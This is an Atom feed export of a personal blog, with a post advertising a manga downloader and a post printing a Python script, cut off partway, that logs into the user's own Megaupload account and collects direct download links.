<?xml version='1.0' encoding='UTF-8'?><?xml-stylesheet href="http://www.blogger.com/styles/atom.css" type="text/css"?><feed xmlns='http://www.w3.org/2005/Atom' xmlns:openSearch='http://a9.com/-/spec/opensearchrss/1.0/' xmlns:georss='http://www.georss.org/georss' xmlns:gd='http://schemas.google.com/g/2005' xmlns:thr='http://purl.org/syndication/thread/1.0'><id>tag:blogger.com,1999:blog-795668259885267017</id><updated>2011-11-27T15:18:04.762-08:00</updated><title type='text'>Check out my files !</title><subtitle type='html'>This is the place where I leave my scripts, my useful files, glad to have your suggestions. If you want to make discuss, please contact me at YM id bornbygoogle or my mail bornbygoogle@yahoo.com or simply let ur mail. I'll try to contact as soon as possible :) Nice to see you :D</subtitle><link rel='http://schemas.google.com/g/2005#feed' type='application/atom+xml' href='http://hackthefreedom.blogspot.com/feeds/posts/default'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/795668259885267017/posts/default?max-results=100'/><link rel='alternate' type='text/html' href='http://hackthefreedom.blogspot.com/'/><link rel='hub' href='http://pubsubhubbub.appspot.com/'/><link rel='next' type='application/atom+xml' href='http://www.blogger.com/feeds/795668259885267017/posts/default?start-index=101&amp;max-results=100'/><author><name>superguepard</name><uri>http://www.blogger.com/profile/12422411794317037477</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='32' height='24' src='http://bp1.blogger.com/_dqEiiECQkmU/R4YJnerUGVI/AAAAAAAAAA8/ZgDRJ4YBeh8/S220/alta-badia.jpg'/></author><generator version='7.00' uri='http://www.blogger.com'>Blogger</generator><openSearch:totalResults>132</openSearch:totalResults><openSearch:startIndex>1</openSearch:startIndex><openSearch:itemsPerPage>100</openSearch:itemsPerPage><entry><id>tag:blogger.com,1999:blog-795668259885267017.post-1435621762198929859</id><published>2010-01-08T11:52:00.000-08:00</published><updated>2010-01-08T12:25:47.342-08:00</updated><title type='text'>DomDome Soft Manga Downloader !</title><content type='html'>&lt;a href="http://www.shareapic.net/View-20962901-software-captured.html" target="_blank"&gt;&lt;img src="http://preview.shareapic.net/preview6/020962901.png" border="0" /&gt;&lt;/a&gt;&lt;br /&gt;&lt;br /&gt;Description :&lt;br /&gt;&lt;blockquote&gt;OneManga, MangaFox, and MangaHut are very good websites to read manga online. But they don’t have a download section.&lt;br /&gt;DomDomSoft Manga Downloader is a software that helps you download manga directly off these sites.&lt;/blockquote&gt;&lt;span style="font-size:85%;"&gt;Features:&lt;br /&gt;&lt;br /&gt;- Don’t need to install, just click and run!&lt;br /&gt;- Easy to use.&lt;br /&gt;- Absolutely free!Actually, there’s a free version and a $5 licensed version available currently. Only difference is genre filtering.&lt;br /&gt;&lt;br /&gt;System Requirement:&lt;br /&gt;&lt;br /&gt;- Windows OS.&lt;br /&gt;- .Net Framework.&lt;br /&gt;&lt;br /&gt;Link download : &lt;a href="http://vietbf.com/forum/showthread.php?p=762294"&gt;here&lt;/a&gt;&lt;span style="text-decoration: underline;"&gt;&lt;/span&gt;&lt;span style="text-decoration: underline;"&gt; &lt;/span&gt;&lt;br /&gt;&lt;/span&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/795668259885267017-1435621762198929859?l=hackthefreedom.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://hackthefreedom.blogspot.com/feeds/1435621762198929859/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=795668259885267017&amp;postID=1435621762198929859' title='1 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/795668259885267017/posts/default/1435621762198929859'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/795668259885267017/posts/default/1435621762198929859'/><link rel='alternate' type='text/html' href='http://hackthefreedom.blogspot.com/2010/01/domdome-soft-manga-downloader.html' title='DomDome Soft Manga Downloader !'/><author><name>superguepard</name><uri>http://www.blogger.com/profile/12422411794317037477</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='32' height='24' src='http://bp1.blogger.com/_dqEiiECQkmU/R4YJnerUGVI/AAAAAAAAAA8/ZgDRJ4YBeh8/S220/alta-badia.jpg'/></author><thr:total>1</thr:total></entry><entry><id>tag:blogger.com,1999:blog-795668259885267017.post-4861470438767750586</id><published>2008-08-20T10:42:00.000-07:00</published><updated>2008-08-20T10:49:16.057-07:00</updated><title type='text'>My python/perl script : Get direct links of Megaupload links !</title><content type='html'>This is not really my script, I have just changed a little bit source of the package megaupload-dl to have this script. Thanks to the author of megaupload-dl package.&lt;br /&gt;&lt;br /&gt;This script is only usable with a list. You must create a new file, enter all the links in that file. And the direct links is going to replace the mega link.&lt;br /&gt;&lt;br /&gt;Example : You have the file new.txt contain the links : www.megaupload.com/?d=....&lt;br /&gt;                                                                                                                               www.megaupload.com/?d=....&lt;br /&gt;&lt;br /&gt;You have this script and run it, you've got the a new file - new.txt - with the content : the direct links of  www.megaupload.com/?d=....&lt;br /&gt;&lt;br /&gt;This is the script :&lt;br /&gt;&lt;br /&gt;&lt;span style="font-style: italic; color: rgb(102, 102, 204);"&gt;#!/usr/bin/env python&lt;/span&gt;&lt;br /&gt;&lt;span style="font-style: italic; color: rgb(102, 102, 204);"&gt;# -*- coding: UTF-8 -*-&lt;/span&gt;&lt;br /&gt;&lt;span style="font-style: italic; color: rgb(102, 102, 204);"&gt;###&lt;/span&gt;&lt;br /&gt;&lt;span style="font-style: italic; color: rgb(102, 102, 204);"&gt;#    o0o0o0o0o0o0o0o0o0o0o0o0o0o0o0o0o0o0o0o0o0o0o0o0o&lt;/span&gt;&lt;br /&gt;&lt;span style="font-style: italic; color: rgb(102, 102, 204);"&gt;#    0                            0&lt;/span&gt;&lt;br /&gt;&lt;span style="font-style: italic; color: rgb(102, 102, 204);"&gt;#    o   Usage : python megaupload-dl [list files]    o&lt;/span&gt;&lt;br /&gt;&lt;span style="font-style: italic; color: rgb(102, 102, 204);"&gt;#    0                        0&lt;/span&gt;&lt;br /&gt;&lt;span style="font-style: italic; color: rgb(102, 102, 204);"&gt;#    o0o0o0o0o0o0o0o0o0o0o0o0o0o0o0o0o0o0o0o0o0o0o0o0o&lt;/span&gt;&lt;br /&gt;&lt;span style="font-style: italic; color: rgb(102, 102, 204);"&gt;#&lt;/span&gt;&lt;br /&gt;&lt;span style="font-style: italic; color: rgb(102, 102, 204);"&gt;###&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;span style="font-style: italic; color: rgb(102, 102, 204);"&gt;import cookielib, urllib, urllib2&lt;/span&gt;&lt;br /&gt;&lt;span style="font-style: italic; color: rgb(102, 102, 204);"&gt;import time, sys&lt;/span&gt;&lt;br /&gt;&lt;span style="font-style: italic; color: rgb(102, 102, 204);"&gt;import subprocess&lt;/span&gt;&lt;br /&gt;&lt;span style="font-style: italic; color: rgb(102, 102, 204);"&gt;import re&lt;/span&gt;&lt;br /&gt;&lt;span style="font-style: italic; color: rgb(102, 102, 204);"&gt;import os&lt;/span&gt;&lt;br /&gt;&lt;span style="font-style: italic; color: rgb(102, 102, 204);"&gt;import ConfigParser&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;span style="font-style: italic; color: rgb(102, 102, 204);"&gt;try:&lt;/span&gt;&lt;br /&gt;&lt;span style="font-style: italic; color: rgb(102, 102, 204);"&gt;    import pygtk&lt;/span&gt;&lt;br /&gt;&lt;span style="font-style: italic; color: rgb(102, 102, 204);"&gt;    pygtk.require("2.0")&lt;/span&gt;&lt;br /&gt;&lt;span style="font-style: italic; color: rgb(102, 102, 204);"&gt;    import gtk&lt;/span&gt;&lt;br /&gt;&lt;span style="font-style: italic; color: rgb(102, 102, 204);"&gt;    with_gtk = True&lt;/span&gt;&lt;br /&gt;&lt;span style="font-style: italic; color: rgb(102, 102, 204);"&gt;except ImportError:&lt;/span&gt;&lt;br /&gt;&lt;span style="font-style: italic; color: rgb(102, 102, 204);"&gt;    with_gtk = False&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;span style="font-style: italic; color: rgb(102, 102, 204);"&gt;def log(text):&lt;/span&gt;&lt;br /&gt;&lt;span style="font-style: italic; color: rgb(102, 102, 204);"&gt;    """Prints a message with the local time and date."""&lt;/span&gt;&lt;br /&gt;&lt;span style="font-style: italic; color: rgb(102, 102, 204);"&gt;    date = time.strftime("%Y-%m-%d %H:%M:%S", time.localtime(time.time()))&lt;/span&gt;&lt;br /&gt;&lt;span style="font-style: italic; color: rgb(102, 102, 204);"&gt;    print "[%s] - %s" % (date, text)&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;span style="font-style: italic; color: rgb(102, 102, 204);"&gt;def from_megaupload(url):&lt;/span&gt;&lt;br /&gt;&lt;span style="font-style: italic; color: rgb(102, 102, 204);"&gt;    """Check if this is a megaupload link"""&lt;/span&gt;&lt;br /&gt;&lt;span style="font-style: italic; color: rgb(102, 102, 204);"&gt;    return (url.startswith("megaupload.com") or &lt;/span&gt;&lt;br /&gt;&lt;span style="font-style: italic; color: rgb(102, 102, 204);"&gt;            url.startswith("www.megaupload.com") or &lt;/span&gt;&lt;br /&gt;&lt;span style="font-style: italic; color: rgb(102, 102, 204);"&gt;            url.startswith("http://megaupload.com") or&lt;/span&gt;&lt;br /&gt;&lt;span style="font-style: italic; color: rgb(102, 102, 204);"&gt;            url.startswith("http://www.megaupload.com"))&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;span style="font-style: italic; color: rgb(102, 102, 204);"&gt;class redirectManager(urllib2.HTTPRedirectHandler):&lt;/span&gt;&lt;br /&gt;&lt;span style="font-style: italic; color: rgb(102, 102, 204);"&gt;    """Used to manage the redirects we can find when the user selected direct&lt;/span&gt;&lt;br /&gt;&lt;span style="font-style: italic; color: rgb(102, 102, 204);"&gt;    downloads at Megaupload"""&lt;/span&gt;&lt;br /&gt;&lt;span style="font-style: italic; color: rgb(102, 102, 204);"&gt;    def __init__(self):&lt;/span&gt;&lt;br /&gt;&lt;span style="font-style: italic; color: rgb(102, 102, 204);"&gt;        self.redirect = ""&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;span style="font-style: italic; color: rgb(102, 102, 204);"&gt;    def http_error_301(self, req, fp, code, msg, headers):&lt;/span&gt;&lt;br /&gt;&lt;span style="font-style: italic; color: rgb(102, 102, 204);"&gt;        """Executed when we find a 301 redirect"""&lt;/span&gt;&lt;br /&gt;&lt;span style="font-style: italic; color: rgb(102, 102, 204);"&gt;        result = urllib2.HTTPRedirectHandler.http_error_301(self, req, fp, code, msg, headers)&lt;/span&gt;&lt;br /&gt;&lt;span style="font-style: italic; color: rgb(102, 102, 204);"&gt;        result.status = code&lt;/span&gt;&lt;br /&gt;&lt;span style="font-style: italic; color: rgb(102, 102, 204);"&gt;        self.redirect = result.geturl()&lt;/span&gt;&lt;br /&gt;&lt;span style="font-style: italic; color: rgb(102, 102, 204);"&gt;        return result&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;span style="font-style: italic; color: rgb(102, 102, 204);"&gt;    def http_error_302(self, req, fp, code, msg, headers):&lt;/span&gt;&lt;br /&gt;&lt;span style="font-style: italic; color: rgb(102, 102, 204);"&gt;        """Executed when we find a 302 redirect"""&lt;/span&gt;&lt;br /&gt;&lt;span style="font-style: italic; color: rgb(102, 102, 204);"&gt;        result = urllib2.HTTPRedirectHandler.http_error_302(self, req, fp, code, msg, headers)&lt;/span&gt;&lt;br /&gt;&lt;span style="font-style: italic; color: rgb(102, 102, 204);"&gt;        result.status = code&lt;/span&gt;&lt;br /&gt;&lt;span style="font-style: italic; color: rgb(102, 102, 204);"&gt;        self.redirect = result.geturl()&lt;/span&gt;&lt;br /&gt;&lt;span style="font-style: italic; color: rgb(102, 102, 204);"&gt;        return result&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;span style="font-style: italic; color: rgb(102, 102, 204);"&gt;# There needs to be at least one argument&lt;/span&gt;&lt;br /&gt;&lt;span style="font-style: italic; color: rgb(102, 102, 204);"&gt;if len(sys.argv) &lt;&gt;&lt;br /&gt;&lt;span style="font-style: italic; color: rgb(102, 102, 204);"&gt;    print "Too few arguments"&lt;/span&gt;&lt;br /&gt;&lt;span style="font-style: italic; color: rgb(102, 102, 204);"&gt;    print "Try --help for more information"&lt;/span&gt;&lt;br /&gt;&lt;span style="font-style: italic; color: rgb(102, 102, 204);"&gt;    exit()&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;span style="font-style: italic; color: rgb(102, 102, 204);"&gt;# Get the login info from the config file, or ask for it&lt;/span&gt;&lt;br /&gt;&lt;span style="font-style: italic; color: rgb(102, 102, 204);"&gt;if os.environ.has_key("APPDATA") and os.path.exists(os.environ["APPDATA"]):&lt;/span&gt;&lt;br /&gt;&lt;span style="font-style: italic; color: rgb(102, 102, 204);"&gt;    path = os.environ["APPDATA"] + "/megaupload-dl.ini"&lt;/span&gt;&lt;br /&gt;&lt;span style="font-style: italic; color: rgb(102, 102, 204);"&gt;else:&lt;/span&gt;&lt;br /&gt;&lt;span style="font-style: italic; color: rgb(102, 102, 204);"&gt;    path = os.path.expanduser("~") + "/.megaupload-dl"&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;span style="font-style: italic; color: rgb(102, 102, 204);"&gt;if not os.path.exists(path):&lt;/span&gt;&lt;br /&gt;&lt;span style="font-style: italic; color: rgb(102, 102, 204);"&gt;    user = raw_input("Enter your user name: ")&lt;/span&gt;&lt;br /&gt;&lt;span style="font-style: italic; color: rgb(102, 102, 204);"&gt;    password = raw_input("Enter your password: ")&lt;/span&gt;&lt;br /&gt;&lt;span style="font-style: italic; color: rgb(102, 102, 204);"&gt;    print&lt;/span&gt;&lt;br /&gt;&lt;span style="font-style: italic; color: rgb(102, 102, 204);"&gt;else:&lt;/span&gt;&lt;br /&gt;&lt;span style="font-style: italic; color: rgb(102, 102, 204);"&gt;    cfg = ConfigParser.SafeConfigParser()&lt;/span&gt;&lt;br /&gt;&lt;span style="font-style: italic; color: rgb(102, 102, 204);"&gt;    cfg.readfp(file(path))&lt;/span&gt;&lt;br /&gt;&lt;span style="font-style: italic; color: rgb(102, 102, 204);"&gt;    try:&lt;/span&gt;&lt;br /&gt;&lt;span style="font-style: italic; color: rgb(102, 102, 204);"&gt;        user = cfg.get("Login", "user")&lt;/span&gt;&lt;br /&gt;&lt;span style="font-style: italic; color: rgb(102, 102, 204);"&gt;        password = cfg.get("Login", "password")&lt;/span&gt;&lt;br /&gt;&lt;span style="font-style: italic; color: rgb(102, 102, 204);"&gt;    except (ConfigParser.NoOptionError, ConfigParser.NoSectionError):&lt;/span&gt;&lt;br /&gt;&lt;span style="font-style: italic; color: rgb(102, 102, 204);"&gt;        print "The config file is corrupt"&lt;/span&gt;&lt;br /&gt;&lt;span style="font-style: italic; color: rgb(102, 102, 204);"&gt;        user = raw_input("Enter your user name: ")&lt;/span&gt;&lt;br /&gt;&lt;span style="font-style: italic; color: rgb(102, 102, 204);"&gt;        password = raw_input("Enter your password: ")&lt;/span&gt;&lt;br /&gt;&lt;span style="font-style: italic; color: rgb(102, 102, 204);"&gt;        print&lt;/span&gt;&lt;br /&gt;&lt;span style="font-style: italic; color: rgb(102, 102, 204);"&gt;        os.remove(path)&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;span style="font-style: italic; color: rgb(102, 102, 204);"&gt;# Process the arguments&lt;/span&gt;&lt;br /&gt;&lt;span style="font-style: italic; color: rgb(102, 102, 204);"&gt;if sys.argv[1] == "-h" or sys.argv[1] == "--help":&lt;/span&gt;&lt;br /&gt;&lt;span style="font-style: italic; color: rgb(102, 102, 204);"&gt;    print "megaupload-dl http://megaupload.com/?d=FILE1 ... http://megaupload.com/?d=FILEN"&lt;/span&gt;&lt;br /&gt;&lt;span style="font-style: italic; color: rgb(102, 102, 204);"&gt;    print "  Download one or several megaupload links passed as argument\n"&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;span style="font-style: italic; color: rgb(102, 102, 204);"&gt;    print "megaupload-dl http://some-web-site.com"&lt;/span&gt;&lt;br /&gt;&lt;span style="font-style: italic; color: rgb(102, 102, 204);"&gt;    print "  Download a list of links from an URL\n"&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;span style="font-style: italic; color: rgb(102, 102, 204);"&gt;    print "megaupload-dl links.txt"&lt;/span&gt;&lt;br /&gt;&lt;span style="font-style: italic; color: rgb(102, 102, 204);"&gt;    print "  Download a list of links from a file\n"&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;span style="font-style: italic; color: rgb(102, 102, 204);"&gt;    print "megaupload-dl -c"&lt;/span&gt;&lt;br /&gt;&lt;span style="font-style: italic; color: rgb(102, 102, 204);"&gt;    print "  Download a list of links from the clipboard (PyGTK has to be installed)\n"&lt;/span&gt;&lt;br /&gt;&lt;span style="font-style: italic; color: rgb(102, 102, 204);"&gt;    exit()&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;span style="font-style: italic; color: rgb(102, 102, 204);"&gt;from_file = False&lt;/span&gt;&lt;br /&gt;&lt;span style="font-style: italic; color: rgb(102, 102, 204);"&gt;urls = []&lt;/span&gt;&lt;br /&gt;&lt;span style="font-style: italic; color: rgb(102, 102, 204);"&gt;if os.path.exists(sys.argv[1]):    # If this is a file&lt;/span&gt;&lt;br /&gt;&lt;span style="font-style: italic; color: rgb(102, 102, 204);"&gt;    from_file = True&lt;/span&gt;&lt;br /&gt;&lt;span style="font-style: italic; color: rgb(102, 102, 204);"&gt;    l_file = sys.argv[1]&lt;/span&gt;&lt;br /&gt;&lt;span style="font-style: italic; color: rgb(102, 102, 204);"&gt;    log("Reading list of links from the file %s" % l_file)&lt;/span&gt;&lt;br /&gt;&lt;span style="font-style: italic; color: rgb(102, 102, 204);"&gt;    print "\n"&lt;/span&gt;&lt;br /&gt;&lt;span style="font-style: italic; color: rgb(102, 102, 204);"&gt;    list_f = file(l_file, "r")&lt;/span&gt;&lt;br /&gt;&lt;span style="font-style: italic; color: rgb(102, 102, 204);"&gt;    urls = list_f.readlines()&lt;/span&gt;&lt;br /&gt;&lt;span style="font-style: italic; color: rgb(102, 102, 204);"&gt;    list_f.close()&lt;/span&gt;&lt;br /&gt;&lt;span style="font-style: italic; color: rgb(102, 102, 204);"&gt;elif sys.argv[1].startswith("http://"):    # If this is a URL&lt;/span&gt;&lt;br /&gt;&lt;span style="font-style: italic; color: rgb(102, 102, 204);"&gt;    if from_megaupload(sys.argv[1]):&lt;/span&gt;&lt;br /&gt;&lt;span style="font-style: italic; color: rgb(102, 102, 204);"&gt;        for i in range(1, len(sys.argv)):&lt;/span&gt;&lt;br /&gt;&lt;span style="font-style: italic; color: rgb(102, 102, 204);"&gt;            urls.append(sys.argv[i])&lt;/span&gt;&lt;br /&gt;&lt;span style="font-style: italic; color: rgb(102, 102, 204);"&gt;    else:&lt;/span&gt;&lt;br /&gt;&lt;span style="font-style: italic; color: rgb(102, 102, 204);"&gt;        log("This is not a Megaupload URL. Trying to retrieve links from " + sys.argv[1])&lt;/span&gt;&lt;br /&gt;&lt;span style="font-style: italic; color: rgb(102, 102, 204);"&gt;        try:&lt;/span&gt;&lt;br /&gt;&lt;span style="font-style: italic; color: rgb(102, 102, 204);"&gt;            source = "\n".join(urllib.urlopen(sys.argv[1]).readlines())&lt;/span&gt;&lt;br /&gt;&lt;span style="font-style: italic; color: rgb(102, 102, 204);"&gt;        except IOError:&lt;/span&gt;&lt;br /&gt;&lt;span style="font-style: italic; color: rgb(102, 102, 204);"&gt;            print "Operation timed out"&lt;/span&gt;&lt;br /&gt;&lt;span style="font-style: italic; color: rgb(102, 102, 204);"&gt;            exit()&lt;/span&gt;&lt;br /&gt;&lt;span style="font-style: italic; color: rgb(102, 102, 204);"&gt;        urls_source = re.findall('megaupload\.com/\?d=[\w]{8}', source)&lt;/span&gt;&lt;br /&gt;&lt;span style="font-style: italic; color: rgb(102, 102, 204);"&gt;        urls_source += re.findall('megaupload\.com/[\w]{2}/\?d=[\w]{8}', source)&lt;/span&gt;&lt;br /&gt;&lt;span style="font-style: italic; color: rgb(102, 102, 204);"&gt;        for url in urls_source:&lt;/span&gt;&lt;br /&gt;&lt;span style="font-style: italic; color: rgb(102, 102, 204);"&gt;            url = "http://" + url + "\n"&lt;/span&gt;&lt;br /&gt;&lt;span style="font-style: italic; color: rgb(102, 102, 204);"&gt;            if not url in urls:&lt;/span&gt;&lt;br /&gt;&lt;span style="font-style: italic; color: rgb(102, 102, 204);"&gt;                urls.append(url)&lt;/span&gt;&lt;br /&gt;&lt;span style="font-style: italic; color: rgb(102, 102, 204);"&gt;        print&lt;/span&gt;&lt;br /&gt;&lt;span style="font-style: italic; color: rgb(102, 102, 204);"&gt;        if urls:&lt;/span&gt;&lt;br /&gt;&lt;span style="font-style: italic; color: rgb(102, 102, 204);"&gt;            log("I found %s links. Saving to megauploadtmp.txt" % len(urls))&lt;/span&gt;&lt;br /&gt;&lt;span style="font-style: italic; color: rgb(102, 102, 204);"&gt;            l_file = "megauploadtmp.txt"&lt;/span&gt;&lt;br /&gt;&lt;span style="font-style: italic; color: rgb(102, 102, 204);"&gt;            list_f = file(l_file, "w")&lt;/span&gt;&lt;br /&gt;&lt;span style="font-style: italic; color: rgb(102, 102, 204);"&gt;            list_f.write("".join(urls))&lt;/span&gt;&lt;br /&gt;&lt;span style="font-style: italic; color: rgb(102, 102, 204);"&gt;            list_f.close()&lt;/span&gt;&lt;br /&gt;&lt;span style="font-style: italic; color: rgb(102, 102, 204);"&gt;            from_file = True&lt;/span&gt;&lt;br /&gt;&lt;span style="font-style: italic; color: rgb(102, 102, 204);"&gt;            print urls&lt;/span&gt;&lt;br /&gt;&lt;span style="font-style: italic; color: rgb(102, 102, 204);"&gt;            print&lt;/span&gt;&lt;br /&gt;&lt;span style="font-style: italic; color: rgb(102, 102, 204);"&gt;        else:&lt;/span&gt;&lt;br /&gt;&lt;span style="font-style: italic; color: rgb(102, 102, 204);"&gt;            log("I found 0 links.")&lt;/span&gt;&lt;br /&gt;&lt;span style="font-style: italic; color: rgb(102, 102, 204);"&gt;            exit()&lt;/span&gt;&lt;br /&gt;&lt;span style="font-style: italic; color: rgb(102, 102, 204);"&gt;elif sys.argv[1] == "-c" or sys.argv[1] == "--clipboard":&lt;/span&gt;&lt;br /&gt;&lt;span style="font-style: italic; color: rgb(102, 102, 204);"&gt;    if not with_gtk:&lt;/span&gt;&lt;br /&gt;&lt;span style="font-style: italic; color: rgb(102, 102, 204);"&gt;        print "PyGTK is not available in your system. This feature cannot be used"&lt;/span&gt;&lt;br /&gt;&lt;span style="font-style: italic; color: rgb(102, 102, 204);"&gt;        exit()&lt;/span&gt;&lt;br /&gt;&lt;span style="font-style: italic; color: rgb(102, 102, 204);"&gt;    else:&lt;/span&gt;&lt;br /&gt;&lt;span style="font-style: italic; color: rgb(102, 102, 204);"&gt;        log("Trying to retrieve links from the clipboard")&lt;/span&gt;&lt;br /&gt;&lt;span style="font-style: italic; color: rgb(102, 102, 204);"&gt;        clipboard = gtk.clipboard_get()&lt;/span&gt;&lt;br /&gt;&lt;span style="font-style: italic; color: rgb(102, 102, 204);"&gt;        text = clipboard.wait_for_text()&lt;/span&gt;&lt;br /&gt;&lt;span style="font-style: italic; color: rgb(102, 102, 204);"&gt;        urls_source = re.findall('megaupload\.com/\?d=[\w]{8}', text)&lt;/span&gt;&lt;br /&gt;&lt;span style="font-style: italic; color: rgb(102, 102, 204);"&gt;        for url in urls_source:&lt;/span&gt;&lt;br /&gt;&lt;span style="font-style: italic; color: rgb(102, 102, 204);"&gt;            url = "http://" + url + "\n"&lt;/span&gt;&lt;br /&gt;&lt;span style="font-style: italic; color: rgb(102, 102, 204);"&gt;            if not url in urls:&lt;/span&gt;&lt;br /&gt;&lt;span style="font-style: italic; color: rgb(102, 102, 204);"&gt;                urls.append(url)&lt;/span&gt;&lt;br /&gt;&lt;span style="font-style: italic; color: rgb(102, 102, 204);"&gt;        print&lt;/span&gt;&lt;br /&gt;&lt;span style="font-style: italic; color: rgb(102, 102, 204);"&gt;        if urls:&lt;/span&gt;&lt;br /&gt;&lt;span style="font-style: italic; color: rgb(102, 102, 204);"&gt;            log("I found %s links. Saving to megauploadtmp.txt" % len(urls))&lt;/span&gt;&lt;br /&gt;&lt;span style="font-style: italic; color: rgb(102, 102, 204);"&gt;            l_file = "megauploadtmp.txt"&lt;/span&gt;&lt;br /&gt;&lt;span style="font-style: italic; color: rgb(102, 102, 204);"&gt;            list_f = file(l_file, "w")&lt;/span&gt;&lt;br /&gt;&lt;span style="font-style: italic; color: rgb(102, 102, 204);"&gt;            list_f.write("".join(urls))&lt;/span&gt;&lt;br /&gt;&lt;span style="font-style: italic; color: rgb(102, 102, 204);"&gt;            list_f.close()&lt;/span&gt;&lt;br /&gt;&lt;span style="font-style: italic; color: rgb(102, 102, 204);"&gt;            from_file = True&lt;/span&gt;&lt;br /&gt;&lt;span style="font-style: italic; color: rgb(102, 102, 204);"&gt;            print urls&lt;/span&gt;&lt;br /&gt;&lt;span style="font-style: italic; color: rgb(102, 102, 204);"&gt;            print&lt;/span&gt;&lt;br /&gt;&lt;span style="font-style: italic; color: rgb(102, 102, 204);"&gt;        else:&lt;/span&gt;&lt;br /&gt;&lt;span style="font-style: italic; color: rgb(102, 102, 204);"&gt;            log("I found 0 links.")&lt;/span&gt;&lt;br /&gt;&lt;span style="font-style: italic; color: rgb(102, 102, 204);"&gt;            exit()&lt;/span&gt;&lt;br /&gt;&lt;span style="font-style: italic; color: rgb(102, 102, 204);"&gt;else:&lt;/span&gt;&lt;br /&gt;&lt;span style="font-style: italic; color: rgb(102, 102, 204);"&gt;    print "%s is not a valid argument." % sys.argv[1]&lt;/span&gt;&lt;br /&gt;&lt;span style="font-style: italic; color: rgb(102, 102, 204);"&gt;    print "Please use a URL or URLs from Megaupload, a file with a list of Megaupload URLs, or the address of a site with Megaupload URLs."&lt;/span&gt;&lt;br /&gt;&lt;span style="font-style: italic; color: rgb(102, 102, 204);"&gt;    print "If this is a URL, please ensure that it starts with http://"&lt;/span&gt;&lt;br /&gt;&lt;span style="font-style: italic; color: rgb(102, 102, 204);"&gt;    print "If this is a file, please ensure that it exists"&lt;/span&gt;&lt;br /&gt;&lt;span style="font-style: italic; color: rgb(102, 102, 204);"&gt;    exit()&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;span style="font-style: italic; color: rgb(102, 102, 204);"&gt;# Log in to get the cookie&lt;/span&gt;&lt;br /&gt;&lt;span style="font-style: italic; color: rgb(102, 102, 204);"&gt;cred = urllib.urlencode({"login": user, "password": password})&lt;/span&gt;&lt;br /&gt;&lt;span style="font-style: italic; color: rgb(102, 102, 204);"&gt;req = urllib2.urlopen("http://megaupload.com", cred)&lt;/span&gt;&lt;br /&gt;&lt;span style="font-style: italic; color: rgb(102, 102, 204);"&gt;cookie = req.headers.get("set-cookie", "")&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;span style="font-style: italic; color: rgb(102, 102, 204);"&gt;if cookie:&lt;/span&gt;&lt;br /&gt;&lt;span style="font-style: italic; color: rgb(102, 102, 204);"&gt;    (cookie,_) = cookie.split(";",1)&lt;/span&gt;&lt;br /&gt;&lt;span style="font-style: italic; color: rgb(102, 102, 204);"&gt;    log("Logged in as %s" % user)&lt;/span&gt;&lt;br /&gt;&lt;span style="font-style: italic; color: rgb(102, 102, 204);"&gt;    print&lt;/span&gt;&lt;br /&gt;&lt;span style="font-style: italic; color: rgb(102, 102, 204);"&gt;    if not os.path.exists(path):&lt;/span&gt;&lt;br /&gt;&lt;span style="font-style: italic; color: rgb(102, 102, 204);"&gt;        config = "[Login]\n"&lt;/span&gt;&lt;br /&gt;&lt;span style="font-style: italic; color: rgb(102, 102, 204);"&gt;        config += "user = %s\n" % user&lt;/span&gt;&lt;br /&gt;&lt;span style="font-style: italic; color: rgb(102, 102, 204);"&gt;        config += "password = %s\n" % password&lt;/span&gt;&lt;br /&gt;&lt;span style="font-style: italic; color: rgb(102, 102, 204);"&gt;        config_file = open(path, "w")&lt;/span&gt;&lt;br /&gt;&lt;span style="font-style: italic; color: rgb(102, 102, 204);"&gt;        config_file.write(config)&lt;/span&gt;&lt;br /&gt;&lt;span style="font-style: italic; color: rgb(102, 102, 204);"&gt;        config_file.close()&lt;/span&gt;&lt;br /&gt;&lt;span style="font-style: italic; color: rgb(102, 102, 204);"&gt;else:&lt;/span&gt;&lt;br /&gt;&lt;span style="font-style: italic; color: rgb(102, 102, 204);"&gt;    log("Invalid user name or password")&lt;/span&gt;&lt;br /&gt;&lt;span style="font-style: italic; color: rgb(102, 102, 204);"&gt;    exit()&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;span style="font-style: italic; color: rgb(102, 102, 204);"&gt;# Download the files&lt;/span&gt;&lt;br /&gt;&lt;span style="font-style: italic; color: rgb(102, 102, 204);"&gt;current = urls&lt;/span&gt;&lt;br /&gt;&lt;span style="font-style: italic; color: rgb(102, 102, 204);"&gt;errors = ""&lt;/span&gt;&lt;br /&gt;&lt;span style="font-style: italic; color: rgb(102, 102, 204);"&gt;for url in urls:&lt;/span&gt;&lt;br /&gt;&lt;span style="font-style: italic; color: rgb(102, 102, 204);"&gt;    try:&lt;/span&gt;&lt;br /&gt;&lt;span style="font-style: italic; color: rgb(102, 102, 204);"&gt;        if url[:-1] == 